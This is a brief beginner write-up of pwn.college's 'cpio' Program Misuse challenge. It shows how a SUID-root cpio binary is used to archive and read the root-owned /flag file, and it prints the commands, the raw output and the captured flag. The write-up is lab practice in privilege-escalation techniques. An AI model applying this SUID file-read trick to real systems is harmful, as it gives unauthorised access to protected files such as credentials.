Challenge Name: cpio
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer
Date: 2025-07-15
Author: Himanshu Parate
🧠 Summary:
The challenge abuses a SUID bit set on /usr/bin/cpio, allowing an unprivileged user to read the root-owned flag file at /flag.
🔍 Enumeration
ls -l /usr/bin/cpio
output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/cpio
-The s in -rws indicates it’s a SUID binary.
-cpio runs with root privileges.
🚀 Exploitation
The cpio command in Linux just copies the content of a file to make a special archive file with .cpio extension.
We can simply cat the .cpio file to read contents of /flag
echo "/flag" | cpio -o > myflag.cpio
cat myflag.cpio
Output:
�q�vhl�:/flagpwn.college{sX5JKqLxT27oZ-lRdm_fF-WnI0C.dRjNxwSM0IzMyEzW}
�q
here we can clearly see the flag.